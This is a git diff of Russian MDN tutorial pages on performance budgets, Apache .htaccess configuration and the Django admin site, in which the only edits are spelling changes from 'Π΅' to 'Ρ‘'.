<h3 id="Π‘ΡŽΠ΄ΠΆΠ΅Ρ‚Ρ‹_ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ">Π‘ΡŽΠ΄ΠΆΠ΅Ρ‚Ρ‹ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ</h3>
-<p>Установка Π±ΡŽΠ΄ΠΆΠ΅Ρ‚ΠΎΠ² Π²Π΅Π±-ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π° придСрТиваСтся Π²Π΅Ρ€Π½ΠΎΠ³ΠΎ ΠΏΡƒΡ‚ΠΈ ΠΈ содСрТит ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² Ρ…ΠΎΡ€ΠΎΡˆΠ΅ΠΌ состоянии. Π‘ΡŽΠ΄ΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ - это Π½Π°Π±ΠΎΡ€ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ максимальноС количСство HTTP запросов с ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ всСх рСсурсов, минимально Π΄ΠΎΠΏΡƒΡΡ‚ΠΈΠΌΡƒΡŽ частоту ΠΊΠ°Π΄Ρ€ΠΎΠ² Π½Π° ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… устройствах ΠΈ Ρ‚.Π΄. Π‘ΡŽΠ΄ΠΆΠ΅Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌΡƒ рСсурсу, Ρ‚ΠΈΠΏΡƒ рСсурсов, всСм рСсурсам Π½Π° страницС, ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΌΡƒ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŽ ΠΈΠ»ΠΈ ΠΏΠΎΡ€ΠΎΠ³ΠΎΠ²ΠΎΠΌΡƒ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŽ Π·Π° ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Π‘ΡŽΠ΄ΠΆΠ΅Ρ‚ ΠΎΡ‚Ρ€Π°ΠΆΠ°Π΅Ρ‚ достиТимыС Ρ†Π΅Π»ΠΈ, Π±ΡƒΠ΄ΡŒ Ρ‚ΠΎ врСмя, количСство ΠΈΠ»ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ.</p>
+<p>Установка Π±ΡŽΠ΄ΠΆΠ΅Ρ‚ΠΎΠ² Π²Π΅Π±-ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π° придСрТиваСтся Π²Π΅Ρ€Π½ΠΎΠ³ΠΎ ΠΏΡƒΡ‚ΠΈ ΠΈ содСрТит ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² Ρ…ΠΎΡ€ΠΎΡˆΠ΅ΠΌ состоянии. Π‘ΡŽΠ΄ΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ - это Π½Π°Π±ΠΎΡ€ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ максимальноС количСство HTTP запросов с ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ всСх рСсурсов, минимально Π΄ΠΎΠΏΡƒΡΡ‚ΠΈΠΌΡƒΡŽ частоту ΠΊΠ°Π΄Ρ€ΠΎΠ² Π½Π° ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… устройствах ΠΈ Ρ‚.Π΄. Π‘ΡŽΠ΄ΠΆΠ΅Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌΡƒ рСсурсу, Ρ‚ΠΈΠΏΡƒ рСсурсов, всСм рСсурсам Π½Π° страницС, ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΌΡƒ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŽ ΠΈΠ»ΠΈ ΠΏΠΎΡ€ΠΎΠ³ΠΎΠ²ΠΎΠΌΡƒ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŽ Π·Π° ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Π‘ΡŽΠ΄ΠΆΠ΅Ρ‚ ΠΎΡ‚Ρ€Π°ΠΆΠ°Π΅Ρ‚ достиТимыС Ρ†Π΅Π»ΠΈ, Π±ΡƒΠ΄ΡŒ Ρ‚ΠΎ врСмя, количСство ΠΈΠ»ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ.</p>
<p>Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΈ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ Π±ΡŽΠ΄ΠΆΠ΅Ρ‚Π° ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ Π²Π°ΠΌ Π·Π°Ρ‰ΠΈΡ‰Π°Ρ‚ΡŒ интСрСсы ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π² Π±ΠΎΡ€ΡŒΠ±Π΅ с ΠΊΠΎΠ½ΠΊΡƒΡ€ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΌΠΈ интСрСсами: ΠΌΠ°Ρ€ΠΊΠ΅Ρ‚ΠΈΠ½Π³ΠΎΠΌ, ΠΏΡ€ΠΎΠ΄Π°ΠΆΠ°ΠΌΠΈ ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ хотят Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π²ΠΈΠ΄Π΅ΠΎ, сторонниС скрипты ΠΈΠ»ΠΈ ΠΏΠΎΠΈΠ³Ρ€Π°Ρ‚ΡŒΡΡ с Π½ΠΎΠ²Ρ‹ΠΌ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠΌ. Π‘ΡŽΠ΄ΠΆΠ΅Ρ‚Ρ‹ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΠΌ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Π·Π°Ρ‰ΠΈΡ‰Π°Ρ‚ΡŒ ΠΎΠΏΡ‚ΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ бизнСс ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒΡΡ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ Ρ€Ρ‹Π½ΠΊΠΎΠ².</p>
diff --git a/files/ru/learn/server-side/apache_configuration_htaccess/index.html b/files/ru/learn/server-side/apache_configuration_htaccess/index.html
index 12ff630a4b..d4b3ecee56 100644
--- a/files/ru/learn/server-side/apache_configuration_htaccess/index.html
+++ b/files/ru/learn/server-side/apache_configuration_htaccess/index.html
@@ -15,7 +15,7 @@ translation_of: Learn/Server-side/Apache_Configuration_htaccess
Redirect 302 / http://example.com/ # Π’Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½Π° example.com
</pre>
-<p><strong>Π‘Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</strong>: htaccess Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ доступ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎΒ IP адрСса ΠΈΠ»ΠΈ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π° IP адрСсов. Π‘Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹Β Π·Π°ΠΏΡ€Π΅Ρ‚ΠΈΡ‚ΡŒ доступ ΠΊ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ для Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π±ΠΎΡ‚ΠΎΠ² и поисковых ΠΏΠ°ΡƒΠΊΠΎΠ².</p>
+<p><strong>Π‘Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</strong>: htaccess Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ доступ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎΒ IP адрСса ΠΈΠ»ΠΈ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π° IP адрСсов. Π‘Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹Β Π·Π°ΠΏΡ€Π΅Ρ‚ΠΈΡ‚ΡŒ доступ ΠΊ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ для Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π±ΠΎΡ‚ΠΎΠ² и поисковых ΠΏΠ°ΡƒΠΊΠΎΠ².</p>
<pre>deny from 146.0.74.205 # Π‘Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ всС запросы с адрСса 146.0.74.205</pre>
@@ -25,7 +25,7 @@ Redirect 302 / http://example.com/ # Π’Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°
php_value auto_append_file "/real/path/to/file/footer.php" # ΠŸΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ Ρ„Π°ΠΉΠ» footer.html Π² ΠΊΠΎΠ½Π΅Ρ† Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°
</pre>
-<p><strong>Настройка страниц с ошибками:</strong> с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ .htaccess ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ страницы, ΠΏΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ ошибок на сСрвСрС.</p>
+<p><strong>Настройка страниц с ошибками:</strong> с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ .htaccess ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ страницы, ΠΏΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ ошибок на сСрвСрС.</p>
<pre>ErrorDocument 404 /notfound.html # ΠŸΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π° страницу notfound.html , ΠΏΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ ошибки с ΠΊΠΎΠ΄ΠΎΠΌ 404
ErrorDocument 500 /serverr.html Β # ΠŸΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π° страницу serverr.html , ΠΏΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ ошибки с ΠΊΠΎΠ΄ΠΎΠΌ 500
diff --git a/files/ru/learn/server-side/django/admin_site/index.html b/files/ru/learn/server-side/django/admin_site/index.html
index 6cad300f10..9df48c1528 100644
--- a/files/ru/learn/server-side/django/admin_site/index.html
+++ b/files/ru/learn/server-side/django/admin_site/index.html
@@ -30,7 +30,7 @@ translation_of: Learn/Server-side/Django/Admin_site
<p>ВсС Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ настройки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Β Π² admin ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ вашСго Π²Π΅Π±-сайта, Π±Ρ‹Π»ΠΈ сдСланы автоматичСски, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ <a href="/ru-RU/docs/Learn/Server-side/Django/skeleton_website">создали каркас ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°</a> ( ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽΒ ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… зависимостях смотритС здСсь -Β Β <a href="https://docs.djangoproject.com/en/1.10/ref/contrib/admin/">Django docs</a>) . Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ всС, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΌΠΎΠ΄Π΅Π»ΠΈ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ admin, это <em>Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</em> ΠΈΡ…. Π’ ΠΊΠΎΠ½Ρ†Π΅ этой ΡΡ‚Π°Ρ‚ΡŒΠΈΒ ΠΌΡ‹ прСдставим ΠΊΡ€Π°Ρ‚ΠΊΡƒΡŽΒ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€Π°Ρ†ΠΈΡŽΒ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Β ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Π°Π΄ΠΌΠΈΠ½-панСль для Π»ΡƒΡ‡ΡˆΠ΅Π³ΠΎ отобраТСния Π΄Π°Π½Π½Ρ‹Π΅Β Π½Π°ΡˆΠΈΡ… ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ.</p>
-<p>ПослС рСгистрации ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΡΡƒΠΏΠ΅Ρ€ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΒ ,Β Π²ΠΎΠΉΡ‚ΠΈ Π½Π° сайт ΠΎΡ‚ Π΅Π³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΊΠ½ΠΈΠ³ΠΈ, Π°Π²Ρ‚ΠΎΡ€ΠΎΠ², экзСмпляры книг ΠΈ ΠΆΠ°Π½Ρ€Ρ‹. Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ для тСстирования прСдставлСний ΠΈ шаблонов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ части руководства.</p>
+<p>ПослС рСгистрации ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΡΡƒΠΏΠ΅Ρ€ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΒ ,Β Π²ΠΎΠΉΡ‚ΠΈ Π½Π° сайт ΠΎΡ‚ Π΅Π³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΊΠ½ΠΈΠ³ΠΈ, Π°Π²Ρ‚ΠΎΡ€ΠΎΠ², экзСмпляры книг ΠΈ ΠΆΠ°Π½Ρ€Ρ‹. Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ для тСстирования прСдставлСний ΠΈ шаблонов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ части руководства.</p>
<h2 id="РСгистрация_ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ">РСгистрация ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉΒ </h2>
@@ -41,7 +41,7 @@ translation_of: Learn/Server-side/Django/Admin_site
# Register your models here.
</pre>
-<p>ЗарСгистрируйтС ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΏΡƒΡ‚Π΅ΠΌ вставки ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ тСкста Π² ниТнюю Ρ‡Π°ΡΡ‚ΡŒ этого Ρ„Π°ΠΉΠ»Π°. Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ просто ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΈ Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Β Β <code>admin.site.register</code> для рСгистрации ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· Π½ΠΈΡ….</p>
+<p>ЗарСгистрируйтС ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΏΡƒΡ‚Ρ‘ΠΌ вставки ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ тСкста Π² ниТнюю Ρ‡Π°ΡΡ‚ΡŒ этого Ρ„Π°ΠΉΠ»Π°. Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ просто ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΈ Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Β Β <code>admin.site.register</code> для рСгистрации ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· Π½ΠΈΡ….</p>
<pre class="brush: python">from .models import Author, Genre, Book, BookInstance
@@ -57,9 +57,9 @@ admin.site.register(BookInstance)
<h2 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_ΡΡƒΠΏΠ΅Ρ€ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΡΡƒΠΏΠ΅Ρ€ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ</h2>
-<p>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΎΠΉΡ‚ΠΈ Π² Π°Π΄ΠΌΠΈΠ½-панСль, Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ ΡƒΡ‡Π΅Ρ‚Π½ΡƒΡŽ запись ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ со статусом <em>Staff (сотрудники).Β </em>Для просмотра ΠΈ создания записСй, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Ρ‚Π°ΠΊΠΆΠ΅ понадобится Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ для управлСния всСми нашими ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡƒΡ‡Π΅Ρ‚Π½ΡƒΡŽ запись  "superuser", которая Π΄Π°Π΅Ρ‚ ΠΏΠΎΠ»Π½Ρ‹ΠΉ доступ ΠΊ сайту ΠΈ всС Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <strong>manage.py</strong>.</p>
+<p>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΎΠΉΡ‚ΠΈ Π² Π°Π΄ΠΌΠΈΠ½-панСль, Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ ΡƒΡ‡Ρ‘Ρ‚Π½ΡƒΡŽ запись ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ со статусом <em>Staff (сотрудники).Β </em>Для просмотра ΠΈ создания записСй, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Ρ‚Π°ΠΊΠΆΠ΅ понадобится Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ для управлСния всСми нашими ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡƒΡ‡Ρ‘Ρ‚Π½ΡƒΡŽ запись  "superuser", которая Π΄Π°Ρ‘Ρ‚ ΠΏΠΎΠ»Π½Ρ‹ΠΉ доступ ΠΊ сайту ΠΈ всС Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <strong>manage.py</strong>.</p>
-<p>Для создания ΡΡƒΠΏΠ΅Ρ€ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π²Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ ΠΈΠ·Β Ρ‚ΠΎΠΉ ΠΆΠ΅ ΠΏΠ°ΠΏΠΊΠΈ, Π³Π΄Π΅ располоТСн <strong>manage.py</strong>. Вас попросят ввСсти имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, адрСс элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ ΠΈ Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΉ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ.Β </p>
